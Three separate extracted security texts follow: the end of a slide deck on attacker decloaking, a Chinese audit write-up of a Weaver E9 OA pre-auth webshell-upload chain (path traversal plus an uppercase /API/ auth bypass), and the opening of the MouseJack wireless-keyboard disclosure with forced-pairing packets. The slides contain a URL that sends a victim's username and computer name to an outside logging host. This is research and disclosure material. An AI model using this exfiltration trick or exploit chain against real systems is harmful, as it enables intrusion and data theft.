Media player  itms:  Already part of decloak.net 15  res:// timing  res:// timing without JavaScript  smbenum - “Wtf?” 16  SMB enum only finds certain types of files and only if known prior to testing  SMB enum could also gather usernames through brute force  Usernames + res:// timing could gather programs that smbenum alone couldn’t 17  But seriously – that’s just terrible, let’s just get the username and computer name directly!  Cut and paste  http://ha.ckers.org/log.cgi? rAnd0mcr4p%aPpdAta%2hi de%coMpuTeRnaME%th3v4 rz  SMB  <iframe src="file:///\\2.2.2.2\"> </iframe> 18  Text/Frequency Analysis  Header analysis  DNS binding and rebinding  Etc… etc…  Detecting Malice  But all that relies on us “trapping” you let’s talk about one more: Log correlation… 19 20 21 22 23 24 25  Robert “RSnake” Hansen  http://www.sectheory.com  http://ha.ckers.org – the lab  http://sla.ckers.org – the forum  h_aT_ckers_d0t_org  Joshua “Jabra” Abraham  http://www.rapid7.com  http://blog.spl0it.org  http://www.spl0it.org/files/talks/defcon09/  Final version of Slides and Demos  Jabra_aT_spl0it_d0t_org
pdf
简单写一下审计了几个月这个 oa 的思路 首先肯定还是看 web.xml 对 jsp 文件的鉴权以及 oa 的补丁都在 SecurityFilter 中 E8 和 E9 的主要差别就是 E9 多了一个/api 的访问 也就是这个 servlet 这个 servlet 就是扫描 com.cloudstore 和 com.api 包下的@Path 注解的一个 rest 接口 SecurityFilter 初始化时会调用 weaver.security.filter.SecurityMain 的 initFilterBean 方法会 初始化安全规则 会加载这两个文件夹下对应 Ecology 版本的 XML 规则文件 后面这些代码太多了 就不一一去看 一个重要的点就是会去调用 weaver.security.rules.ruleImp 包下面的每一个类的 validate 方法 这些类差不多就是 E9 每 次打的补丁 我们可以在拿到补丁后直接看到这些洞的 URL 这里有一个小 tips 就是如果是 因为安全规则访问某个点导致的 404 在返回的 header 里会有一个 securityIntercept 泛微在这几个月修复了一系列由于 imagefilemanager 导致的 RCE 漏洞 我们先看到这次某微在 3 月份打的一个补丁 weaver.security.rules.ruleImp.SercurityRuleForCptInventory 这个补丁针对性的修复了我交给某平台的一个前台 RCE 漏洞 并且只是在我交洞的一个月 后 我没拿洞去打 也没给过任何人 所以 懂得都懂~ 路径是/api/cpt/inventory/docptimpoptinventory 这里拿到 inventoryexcelfile 参数调用 getImageFileInfoById 方法拿到 ImageFileManager 随后调用 getImageFileName 验证了后缀名 我习惯在审计的时候把这些库文件丢到 jd-gui 里面全部反编译出来方便在 idea 里面搜索 在 com.engine.cpt.web.CptInventoryAction 类里 跟进 可以发现这里是拿到 inventoryexcelfile 参数然后查询数据库后将 imagefilename 拼接到了 路径中直接将文件写入到/cpt/ExcelToDB/目录中 所以我们现在需要找到一个前台的地方 进行上传 jsp 木马写入 imagefile 表中并且还要回显 imagefileid 当我把 e9 源码熟悉之后 直 接在所有 jsp 文件中搜索 new FileUpload(request,"utf-8") 由此找到了这个文件可以前台访 问 workrelate/plan/util/uploaderOperate.jsp 这个文件可以达到上面的要求 跟进这个方法 关键点在这个 uploadFiles 方法 跟进后就会发现这个类 weaver.file.FileUpload 的所有文件上传操作都会进行压缩之后写入 到 imagefile 数据表中 然后将文件放到 filesystem 目录 并且在文件上传的过程中不会验证 文件的后缀名 作为 imagefilename 字段写入到数据库中 到这里似乎已经可以写入 webshell 了 但是如果此时我们一步步的上传然后去访问会发现 直接 404 了 这是因为有对应的规则 访问/cpt/ExcelToDB/目录中的 jsp 文件必须登陆才能 访问 我们需要的是前台 RCE 所以必须得找一个前台的地方我们可以完全控制写入数据库 中的 imagefilename 参数 使其为/../../xxx.jsp 在 weaver.file.FileUpload 类的上传中 调用 的是某微自己写的文件上传解析类 weaver.file.multipart.MultipartParser 直接取最后一个斜杠后的内容为文件名 通过搜索 new ServletFileUpload 寻找调用 commons-fileupload 库来解析文件上传的地方 最后找到了 /api/fna/documentCompare/doCreateDocument 这个路径 这里可以将文件名原样的写入到 imagefile 表中 返回 imagefileid 具体的就不去跟了 最后还有一个点就是/api 路径的鉴权 我们上面所提到的这两个路径都是需要登陆后访问的 解决办法就是大写 /API/像这样访问就不需要登陆 /api/路由的鉴权在这个类中 335 行 可以看到这里拿到 requesturi 之后并没有转换大小写 导致/API/可以绕过这个鉴权 那为什么大写 api 还能同样到达这个路由呢 tomcat 是不可以的 之前我以为这是 windows 和 linux 系统的差异导致的 但是后面发现是 Resin 导致的 调 resin 的过程可以看这里 https://blog.csdn.net/HBohan/article/details/121163220 这里的 urlpattern 正则为^/api(?=/)|^/api\z 大小写不敏感 所以仍然可以匹配到这个 servlet 后续某微修复了大写 api 至此后面少了很多的前台 rce...... 本文只是抛砖引玉,不对的地方希望师傅们指点指点。
pdf
MouseJack, KeySni↵er and Beyond: Keystroke Sniffing and Injection Vulnerabilities in 2.4GHz Wireless Mice and Keyboards Marc Newlin [email protected] @marcnewlin August 7, 2016 v0.2 Abstract What if your wireless mouse or keyboard was an e↵ective attack vector? Research reveals this to be the case for non-Bluetooth wireless mice and keyboards from Logitech, Microsoft, Dell, Lenovo, Hewlett-Packard, Gigabyte, Amazon, Toshiba, GE, Anker, RadioShack, Kensington, EagleTec, Insignia, ShhhMouse, and HDE. A total of 16 vulnerabilities were identified and disclosed to the a↵ected vendors per our disclosure pol- icy[1]. The vulnerabilities enable keystroke sniffing, keystroke injection, forced device pairing, malicious macro programming, and denial of service. 1 Contents 1 Introduction 4 2 Overview of Vulnerabilities 4 3 Transceivers 5 3.1 Nordic Semiconductor nRF24L . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 3.2 Texas Instruments CC254X . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 3.3 MOSART Semiconductor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 3.4 Signia SGN6210 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 3.5 GE Mystery Transceiver . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 4 Research Process 7 4.1 Software Defined Radio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 4.2 NES Controller . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 4.3 CrazyRadio PA Dongles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 4.4 Fuzzing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 4.5 First Vulnerability and Beyond . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 5 Logitech Unifying 8 5.1 Encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 5.2 General Operation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 5.2.1 Addressing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 5.2.2 Keepalives and Channel Hopping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 5.3 Mouse Input . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 5.4 Keyboard Input . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 5.5 Dongle to Device Communication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 5.6 Pairing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 5.7 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 5.7.1 Forced Pairing (BN-0001) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 5.7.2 Unencrypted Keystroke Injection (BN-0002) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 5.7.3 Disguise Keyboard as Mouse (BN-0003) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 5.7.4 Unencrypted Keystroke Injection Fix Bypass (BN-0011) . . . . . . . . . . . . . . . . . . . . . 14 5.7.5 Encrypted Keystroke Injection (BN-0013) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 5.8 Logitech Unifying Packet Formats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 6 Logitech G900 21 6.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 6.1.1 Unencrypted Keystroke Injection (BN-0012) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 6.1.2 Malicious Macro Programming (BN-0016) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 7 Chicony 24 7.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 7.1.1 Unencrypted Keystroke Injection - AmazonBasics (BN-0007) . . . . . . . . . . . . . . . . . . 24 7.1.2 Unencrypted Keystroke Injection - Dell KM632 (BN-0007) . . . . . . . . . . . . . . . . . . . 24 7.1.3 Encrypted Keystroke Injection - AmazonBasics (BN-0013) . . . . . . . . . . . . . . . . . . . . 25 7.1.4 Encrypted Keystroke Injection - Dell KM632 (BN-0013) . . . . . . . . . . . . . . . . . . . . . 25 8 MOSART 26 8.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28 8.1.1 Unencrypted Keystroke Sniffing and Injection (BN-0010) . . . . . . . . . . . . . . . . . . . . 28 9 Signia 28 9.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 9.1.1 Unencrypted Keystroke Sniffing and Injection (BN-0010) . . . . . . . . . . . . . . . . . . . . 29 2 10 Unknown GE Transceiver 30 10.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 10.1.1 Unencrypted Keystroke Sniffing and Injection (BN-0015) . . . . . . . . . . . . . . . . . . . . 30 11 Lenovo 30 11.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 11.1.1 Denial of Service (BN-0008) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 11.1.2 Unencrypted Keystroke Injection (BN-0009) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 11.1.3 Encrypted Keystroke Injection (BN-0013) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 12 Microsoft 32 12.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 12.1.1 Unencrypted Keystroke Injection (BN-0004) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 13 HP (non-MOSART) 32 13.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 13.1.1 Encrypted Keystroke Injection (BN-0005) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 14 Gigabyte 34 14.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 14.1.1 Unencrypted Keystroke Injection and Injection (BN-0006) . . . . . . . . . . . . . . . . . . . . 34 3 1 Introduction Wireless mice and keyboards commonly communicate using proprietary protocols operating in the 2.4GHz ISM band. In contrast to Bluetooth, there is no industry standard to follow, leaving each vendor to implement their own security scheme. Wireless mice and keyboards work by transmitting radio frequency packets to a USB dongle plugged into a user’s computer. When a user presses a key on their keyboard or moves their mouse, information describing the actions are sent wirelessly to the USB dongle. The dongle listens for radio frequency packets sent by the mouse or key- board, and notifies the computer whenever the user moves their mouse or types on their keyboard. In order to prevent eavesdropping, many vendors encrypt the data being transmitted by wireless keyboards. The dongle knows the encryption key being used by the keyboard, so it is able to decrypt the data and see what key was pressed. Without knowing the encryption key, an attacker is unable to decrypt the data, so they are unable to see what is being typed. Conversely, none of the mice that were tested encrypt their wireless communications. This means that there is no authentication mechanism, and the dongle is unable to distinguish between packets transmitted by a mouse, and those transmitted by an attacker. As a result, an attacker is able to pretend to be a mouse and transmit their own movement/click packets to a dongle. Problems in the way some dongles process received packets make it possible for an attacker to transmit specially crafted packets which generate keypresses instead of mouse movement/clicks. In other cases, protocol weaknesses enable an attacker to generate encrypted keyboard packets which appear authentic to the dongle. A separate class of wireless keyboards and mice communicate with no encryption whatsoever. The unencrypted wireless protocols o↵er no protection, making it possible for an attacker to both inject malicious keystrokes, and sni↵ keystrokes being typed by the user. This document continues with an overview of the vulnerabilities, a↵ected vendors, and transceivers, followed by a discussion of the research process and techniques. Technical details of each vulnerability are then presented, including documentation of reverse engineered protocols. 2 Overview of Vulnerabilities A total of 16 vulnerabilities were identified in products from 16 vendors. Per our disclosure policy[1], all vendors were notified 90 days prior to the public disclosure date. We worked with vendors to address the vulnerabilities where possible, but most of the a↵ected devices do not support firmware updates. 4 Vulnerabilities Number Description Vendors Public Disclosure BN-0001 Forced pairing Logitech, Dell Feb 23, 2016 BN-0002 Unencrypted keystroke injection Logitech, Dell Feb 23, 2016 BN-0003 Disguise keyboard as mouse Logitech, Dell Feb 23, 2016 BN-0004 Unencrypted keystroke injection Microsoft Feb 23, 2016 BN-0005 Encrypted keystroke injection Hewlett-Packard Feb 23, 2016 BN-0006 Unencrypted keystroke injection / keystroke sniffing Gigabyte Feb 23, 2016 BN-0007 Unencrypted keystroke injection AmazonBasics, Dell Feb 23, 2016 BN-0008 Denial of service Lenovo Feb 23, 2016 BN-0009 Unencrypted keystroke injection Lenovo Feb 23, 2016 BN-0010 Unencrypted keystroke injection / keystroke sniffing Hewlett-Packard, Anker, Kensing- ton, RadioShack, HDE, Insignia, EagleTec, ShhhMouse July 26, 2016 BN-0011 Firmware fix bypass - unencrpyted keystroke injection Logitech, Dell July 26, 2016 BN-0012 Unencrypted keystroke injection Logitech July 26, 2016 BN-0013 Encrypted keystroke injection Logitech, Dell, AmazonBasics, Lenovo July 26, 2016 BN-0014 Unencrypted keystroke injection / keystroke sniffing Toshiba July 26, 2016 BN-0015 Unencrypted keystroke injection / keystroke sniffing GE July 26, 2016 BN-0016 Malicious macro programming Logitech July 26, 2016 3 Transceivers Transceivers used in the a↵ected devices fall into two categories: general purpose transceivers with vendor specific protocols, and purpose built wireless mouse and keyboard transceivers. The general purpose transceivers provide a mechanism to wirelessly transmit data between two devices, but the functionality that turns mouse clicks and keypresses into bytes sent over the air is implemented by each vendor. The purpose built transceivers have mouse and keyboard logic baked into them, giving the vendors little to no control over the protocol. All of the transceivers operate in the 2.4GHz ISM band at 1MHz channel boundaries and use GFSK modulation. The data rates range from 500kbps to 2Mbps, and the packet formats and protocols vary between vendors and devices. 3.1 Nordic Semiconductor nRF24L Nordic Semiconductor makes the popular nRF24L series of general purpose, 2.4GHz GFSK transceivers. Five common variations of the nRF24L o↵er di↵erent functionality depending on the application. Flash memory based transceivers support firmware updates (assuming this has been implemented by the vendor), whereas OTP (one- time-programmable) transceivers cannot be reprogrammed after they leave the factory. Many of the vulnerable 5 devices cannot be fixed as a result of using OTP transceivers. nRF24L Transceiver Family Transceiver 8051 MCU 128-bit AES USB Memory nRF24L01+ No No No N/A nRF24LE1 Yes Yes No Flash nRF24LE1 OTP Yes Yes No OTP nRF24LU1+ Yes Yes Yes Flash nRF24LU1+ OTP Yes Yes Yes OTP Table 1: nRF24L Transceiver Family The nRF24L transceivers use a star network configuration, and each node is able to transmit and receive on a maximum of six RF addresses at a time. This allows up to six wireless mice or keyboards to communicate with a single USB dongle, depending on the vendor specific implementation. The nRF24L01 does not include an MCU, so it must be paired with an external microprocessor. The nRF24LU1+ and nRF24LE1 variants include an MCU and support for 128-bit AES encryption, and are commonly used in USB dongles and wireless keyboards to support encrypted communication. The nRF24LE1 is also used in wire- less mice, but none of the evaluated mice utilize encryption. Two packet formats are o↵ered: Shockburst, and Enhanced Shockburst. Shockburst is a legacy packet format which uses fixed length payloads, and is not commonly used in modern devices. Enhanced Shockburst o↵ers vari- able length payloads, auto acknowledgement, and auto retransmit. Additionally, Enhanced Shockburst supports ACK payloads, which enable a receiver to attach a payload to an ACK packet. This makes it possible for a de- vice to operate exclusively in receive mode without sacrificing the ability to transmit to other nodes. Nordic Semiconductor nRF24L transceivers are used in products from Logitech, Microsoft, Dell, Lenovo, Hewlett- Packard, Gigabyte, and Amazon. Preamble 1 byte Address 3-5 bytes Payload 1-32 bytes CRC 1-2 bytes (Shockburst Packet Format) Figure 1: Shockburst packet format Preamble 1 byte Address 3-5 bytes Packet Control Field 9 bits Payload Length 6 bits PID 2 bits No ACK 1 bits Payload 0-32 bytes CRC 1-2 bytes (Enhanced Shockburst Packet Format) Figure 2: Enhanced Shockburst packet format 6 3.2 Texas Instruments CC254X Logitech uses Texas Instruments CC254X transceivers in some of their products, running firmware compatible with Nordic Semiconductor Enhanced Shockburst. The Logitech Unifying wireless protocol and related vulnera- bilities are agnostic of the underlying hardware, and references to Enhanced Shockburst in the Logitech Unifying section of this document can refer to ESB running on nRF24L or CC254X based hardware. 3.3 MOSART Semiconductor MOSART Semiconductor produces unencrypted 2.4GHz GFSK transceivers used in wireless mice and keyboards from many vendors. Documentation was not available, but identical protocol behavior across vendors points to a purpose built transceiver with little or no vendor customization. All wireless keyboards using these transceivers are vulnerable to keystroke sniffing and injection. MOSART Semiconductor transceivers are used in devices from Hewlett-Packard, Anker, Kensington, RadioShack, HDE, Insignia, EagleTec, and ShhhMouse. 3.4 Signia SGN6210 The Signia SGN6210 is an unencrypted, general purpose, 2.4GHz GFSK transceiver used in wireless mice and keyboards from Toshiba. Partial documentation was available, but reverse engineering was required to determine the specific physical layer configuration and packet format. 3.5 GE Mystery Transceiver An unknown transceiver is used in the GE 98614 wireless keyboard and mouse. Reverse engineering e↵orts re- vealed that it is an unencrypted 2.4GHz GFSK transceiver, but it is unclear if the communication protocol is spe- cific to the transceiver or implementation. 4 Research Process The motivation for this project came from a Logitech white paper which states, ”Since the displacements of a mouse would not give any useful information to a hacker, the mouse reports are not encrypted.”[2] The initial goal was to reverse engineer a Logitech M510 mouse, using a software defined radio, in order to explore the above statement. 4.1 Software Defined Radio The nRF24L transceivers used in Logitech mice support multiple data rates, address lengths, packet formats, and checksums. To accommodate this, the initial research was performed using a USRP B210 software defined ra- dio, coupled with a custom GNU Radio block designed to decode all of the possible packet configurations. This proved fruitful, but there were drawbacks to using an SDR. Logitech mice do not employ frequency hopping in the traditional sense, but they change channels to avoid inter- ference from other 2.4GHz devices (Bluetooth, WiFi, etc). The channel hopping is generally unpredictable, and Software Defined Radios are slower to retune than the nRF24L radios. This makes it difficult for an SDR based decoder to observe all of the transmitted packets. When a Logitech mouse transmits a movement packet to a dongle, the dongle replies with an acknowledgement packet telling the mouse that the movement packet was received. The mouse waits for a short period before de- termining that the packet it transmitted was lost, which can be as short as 250 microseconds. Due to USB la- tency and processing overhead, the SDR based decoder is unable to transmit ACKs within the narrow timeout window, so two way communication between an SDR and dongle/mouse was not a viable option. 7 4.2 NES Controller The SDR decoder made it possible to figure out the formats of the data being transmitted over the air, but reli- able two way communication was necessary to reverse engineer the protocol and start looking for potential weak- nesses. Parallel to the Logitech mouse research, an Arduino/nRF24L-based NES controller was being built as part of a Burning Man project. The nRF24L was chosen for the Burning Man project because they are inexpensive and easy to use, but it quickly became apparent that the NES controller could also serve as a useful research tool. The nRF24L chips do not officially support packet sniffing, but Travis Goodspeed documented a pseudo-promiscuous mode in 2011 which makes it possible to sni↵ a subset of packets being transmitted by other devices. This en- abled the NES controller to passively identify nearby Logitech wireless mice without the need for an SDR. Building on this, the NES controller was modified to transmit the reverse engineered Logitech mouse packet for- mats, and proved to be an excellent research tool. As opposed to passively collecting data, the NES controller translated d-pad arrows into mouse movement packets, and A/B buttons into left and right clicks. Achieving a smooth user experience necessitated reverse engineering the exact mouse behavior expected by the dongle. The concept worked well, and the NES controller was presented at ToorCon in 2015, which demonstrated the vi- ability of controlling previously unseen wireless mice at will. Despite being a marked improvement over the SDR decoder, the NES controller was not without problems. Running o↵ of battery power made it impractical to use amplified transceivers, limiting the practical range to about 10 meters. 4.3 CrazyRadio PA Dongles The Crazyflie is an open source drone which is controlled with an amplified nRF24L-based USB dongle called the Crazyradio PA. This is equivalent to an amplified version of the USB dongles commonly used with wireless mice and keyboards, and increased the communication range to over 200 meters. Modifying the Crazyradio PA firmware to include support for pseudo-promiscuous mode made it possible to distill the packet sniffing and injec- tion functionality down to a minimal amount of Python code. 4.4 Fuzzing The Crazyradio PA dongles made it possible to implement an efficient and e↵ective fuzzer. Mouse and keyboard USB dongles communicate user actions to the operating system in the form of USB HID packets, which can be sni↵ed by enabling the usbmon kernel module on Linux. The implemented fuzzer took advantage of this by transmitting RF packets to a mouse/keyboard dongle attached to the same computer, and monitoring USB traffic for generated USB HID packets. Anytime mouse movement or keypresses were sent to the operating system, the recently transmitted RF packets were recorded for analysis. Fuzzing variants of observed packet formats and behaviors yielded the best results. 4.5 First Vulnerability and Beyond The first vulnerability was identified shortly after ToorCon, enabling unencrypted keystroke injection targeting Logitech wireless keyboards. This prompted an investigation into 2.4GHz non-Bluetooth wireless mice and key- boards from other vendors, eventually expanding into the full set of vendors, devices, and vulnerabilities covered in this document. 5 Logitech Unifying Unifying is a proprietary protocol widely used by Logitech wireless mice and keyboards. The protocol is centered around the ability to pair any Unifying device to any Unifying dongle, with backward compatibility to the initial launch in 2009. 8 Unifying is implemented as a layer on top of Enhanced Shockburst, but is not exclusive to Nordic Semiconductor hardware. The majority of Unifying devices use Nordic Semiconductor nRF24L transceivers, with the rest us- ing Texas Instruments CC254X transceivers. All devices are compatible over-the-air regardless of the underlying hardware. All Unifying packets use either a 5, 10, or 22 byte ESB payload length. In addition to the 2-byte CRC provided by the Enhanced Shockburst packet, Unifying payloads are protected by a 1-byte checksum. Preamble 1 byte Address 5 bytes PCF 9 bits Enhanced Shockburst Payload 5, 10, or 22 bytes Unifying Payload 4, 9, or 21 bytes Checksum 1 byte CRC 2 bytes (Logitech Unifying Packet Format) Figure 3: Logitech Unifying packet format Radio Configuration Channels (MHz) 2402 - 2474, 3MHz spacing Data Rate 2Mbps (2MHz GFSK) Address Length 5 bytes CRC Length 2 bytes ESB Payload Lengths 5, 10, 22 Table 2: Logitech Unifying radio configuration 5.1 Encryption Keypress packets are encrypted with 128-bit AES, using a key generated during the pairing process[2]. The spe- cific key generation algorithm is unknown, but BN-0013 demonstrates that encrypted keystroke injection is possi- ble without knowledge of the AES key. 5.2 General Operation Dongles always operate in receive mode, and paired devices in transmit mode. A dongle cannot actively transmit to a paired device, and instead uses ACK payloads to send commands to a device. All payloads share the same basic format, whether transmitted by a paired device, or included with a dongle’s ACK. All Unifying payloads use the structure show in Figure 4, with an (optional) device index, frame type, data, and checksum. Device Index 1 byte Frame Type 1 byte Data 2, 7, or 19 bytes Checksum 1 byte (Logitech Unifying Payload Format) Figure 4: Logitech Unifying payload format 9 5.2.1 Addressing The upper 4 address bytes are the dongle serial number, and are the same for all paired devices. The lowest ad- dress byte is the ID of a specific paired device, or 0x00 when directly addressing the dongle. Example RF Addressing Dongle serial number 7A:77:94:DE Dongle RF address 7A:77:94:DE:00 Paired device 1 RF address 7A:77:94:DE:07 Paired device 2 RF address 7A:77:94:DE:08 Paired device 3 RF address 7A:77:94:DE:09 Table 3: Logitech Unifying addressing scheme Up to 6 devices can be paired with a dongle at any given time, which results in 7 total RF addresses, but the nRF24L RFICs are limited to 6 simultaneous receive pipes. Device index 0x00 (dongle address) is always en- abled, so a maximum of 5 Unifying devices can be used simultaneously with a single dongle. As a result, a mouse or keyboard cannot guarantee that its dongle will be listening on its RF address when first switched on. An alternate addressing scheme enables a paired device to transmit to the dongle’s RF address, specifying its de- vice index in the payload instead of the low address byte. When transmitting to the RF address of a dongle, the first byte of the payload identifies the device index. When a device is first switched on, it transmits a wakeup message to the RF address of the dongle it is paired to. This causes the dongle to start listening on the RF address of the device if it is not doing so already. Two wakeup packet formats have been observed. 5.2.2 Keepalives and Channel Hopping Unifying uses an opportunistic frequency hopping scheme which remains on a given channel as long as there is no packet loss. In order to quickly respond to poor channel conditions, a device sends periodic keepalive packets to its dongle. If a keepalive is missed, the dongle and paired device move to a di↵erent channel. The keepalive interval is set by the device, and is backed o↵ with inactivity. A lower interval provides faster re- sponsiveness to changing channel conditions at the cost of higher power consumption. All attacks against Logitech Unifying devices depend on the ability to reliably transmit packets to a target USB dongle. In order to accomplish this, an attacker needs to mimic the keepalive behavior used by Unifying key- boards and mice. By setting the keepalive timeout lower than the target device, there is no risk of a timed-out device causing the dongle to unexpectedly channels. Unused 1 byte Frame Type (0x4F) 1 byte Unused 1 byte Timeout 2 bytes Unused 4 bytes Checksum 1 byte (Logitech Set Keepalive Timeout Payload) Figure 5: Logitech Unifying set keepalive payload timeout 10 Unused 1 byte Frame Type (0x40) 1 byte Timeout 2 bytes Checksum 1 byte (Logitech Keepalive Payload) Figure 6: Logitech Unifying keepalive payload 5.3 Mouse Input Mouse packets are transmitted unencrypted, and are documented in Table 6. 5.4 Keyboard Input Most keyboard packets are encrypted using 128-bit AES, with the exception of consumer control HID device class keys (volume control, browser navigation, etc). The encrypted and unencrypted keystroke packets use di↵erent payload formats as described below. 5.5 Dongle to Device Communication When a dongle needs to send a command to a paired device, it does so by attaching a payload to the next ACK that it transmits. This enables two way communication when the target device is active, but does not provide a way to query an inactive device. ACK payloads are used to request device status, as well as during pairing and other configuration tasks. 5.6 Pairing Host software enables pairing mode on the dongle over USB. Once pairing mode has been enabled, the dongle lis- tens for new pairing requests on the fixed pairing address BB:0A:DC:A5:75 for 30-60 seconds. When a wireless mouse or keyboard is switched on, it first attempts to reconnect with its paired dongle by trans- mitting wake-up packets. If it cannot find its paired dongle, it transmits a pairing request to the fixed pairing ad- dress to initiate the pairing process. Firmware on Unifying dongles is not automatically updated, so the pairing process needs to be generic in order to support new devices. This is achieved by having the device specify its model, capabilities, name, and serial num- ber during pairing. An example pairing exchange is show below. 1 BB:0A:DC:A5:75 15:5F:01:84:5E:3A:A2:57:08:10:25:04:00:01:47:00:00:00:00:00:01:EC Initial pairing request with product ID 10:25 (M510 mouse), transmitted from a mouse to a dongle at ad- dress BB:0A:DC:A5:75. Packet format is described in figure 10. 2 BB:0A:DC:A5:75 15:1F:01:9D:65:CB:58:30:08:88:02:04:01:01:07:00:00:00:00:00:00:D7 Reply containing the new RF address assigned to the mouse in bytes 3-7 of the payload, transmitted from a dongle to a mouse at address BB:0A:DC:A5:75. Packet format is described in figure 11. 3 9D:65:CB:58:30 00:5F:02:01:02:03:04:58:8A:51:EA:1E:40:00:00:01:00:00:00:00:00:19 Payload containing the serial number of the mouse and its USB HID capabilities, transmitted from a mouse to a dongle at address 9D:65:CB:58:30. Packet format is described in figure 12. 11 4 9D:65:CB:58:30 00:1F:02:BE:7E:7F:D5:58:8A:51:EA:1E:40:00:00:01:00:00:00:00:00:D3 Response echoing back the serial number and USB HID capabilities of the mouse, transmitted from a don- gle to a mouse at address 9D:65:CB:58:30. Packet format is described in figure 13. 5 9D:65:CB:58:30 00:5F:03:01:04:4D:35:31:30:00:00:00:00:00:00:00:00:00:00:00:00:B6 Payload containing the human readable device name as ASCII bytes, transmitted from a mouse to a don- gle at address 9D:65:CB:58:30. Packet format is described in figure 14. 6 9D:65:CB:58:30 00:0F:06:02:03:7F:D5:58:8A:B0 Response echoing back bytes from the previous pairing packets, transmitted from a dongle to a mouse at address 9D:65:CB:58:30. Packet format is described in figure 15. 7 9D:65:CB:58:30 00:0F:06:01:00:00:00:00:00:EA Message indicating that pairing is complete, transmitted from a mouse to a dongle at address 9D:65:CB:58:30. Packet format is described in figure 16. 5.7 Vulnerabilities 5.7.1 Forced Pairing (BN-0001) When a Logitech Unifying dongle is put into pairing mode, the dongle listens for pairing requests for a limited time on address BB:0A:DC:A5:75. When a device attempts to pair with a dongle, it transmits a pairing request to this address. This prevents devices from pairing with a dongle when it is not in pairing mode, because their pairing requests will only be accepted when the dongle is listening on the pairing address. It is possible to force-pair a device when the dongle is not in pairing mode by transmitting the same pairing re- quest to the address of an already paired mouse or keyboard. The dongle accepts the pairing request when it is received on any address that the dongle is currently listening on. The following exchange, shown as Enhanced Shockburst payloads, results in a new device being paired with a dongle. The device will show up as an M510 mouse with a serial number of 12345678. 1 EA:E1:93:27:14 7F 5F 01 31 33 73 13 37 08 10 25 04 00 02 0C 00 00 00 00 00 71 40 Initial pairing request with product ID 10:25 (M510 mouse), transmitted from a malicious device to a don- gle at address EA:E1:93:27:14. Packet format is described in figure 10. 2 EA:E1:93:27:14 7F 1F 01 EA E1 93 27 15 08 88 02 04 00 02 04 00 00 00 00 00 00 2B Reply containing the new RF address assigned to the mouse in bytes 3-7 of the payload, transmitted from a dongle to a malicious device at address EA:E1:93:27:14. Packet format is described in figure 11. 3 EA:E1:93:27:15 00 5F 02 00 00 00 00 12 34 56 78 04 00 00 00 01 00 00 00 00 00 86 Payload containing the serial number 12345678 and USB HID capabilities for a mouse (0400), transmitted from a malicious device to a dongle at address EA:E1:93:27:15. Packet format is described in figure 12. 12 4 EA:E1:93:27:15 00 1F 02 0F 6B 4F 67 12 34 56 78 04 00 00 00 01 00 00 00 00 00 96 Response echoing back the serial number and USB HID capabilities of the malicious device, transmitted from a dongle to a malicious device at address EA:E1:93:27:15. Packet format is described in figure 13. 5 EA:E1:93:27:15 00 5F 03 01 04 4D 35 31 30 00 00 00 00 00 00 00 00 00 00 00 00 B6 Payload containing the device name M510 as ASCII text, transmitted from a malicious device to a dongle at 